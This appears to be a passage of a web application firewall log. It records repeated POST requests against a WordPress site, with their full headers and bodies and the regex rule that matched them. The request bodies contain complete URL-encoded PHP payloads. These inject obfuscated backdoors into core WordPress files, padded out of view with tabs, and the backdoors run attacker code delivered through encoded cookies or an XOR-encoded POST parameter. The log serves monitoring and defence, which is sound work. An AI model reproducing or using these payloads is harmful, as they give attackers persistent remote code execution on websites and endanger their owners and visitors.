Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 17:57:54","203.86.122.1","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3940\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nupgrade-insecure-requests:1\n\nBz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:58:28","67.205.18.1","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3940\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\ntI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:58:46","188.138.39.67","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3940\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMHHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-encoding:gzip,deflate\n\neE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3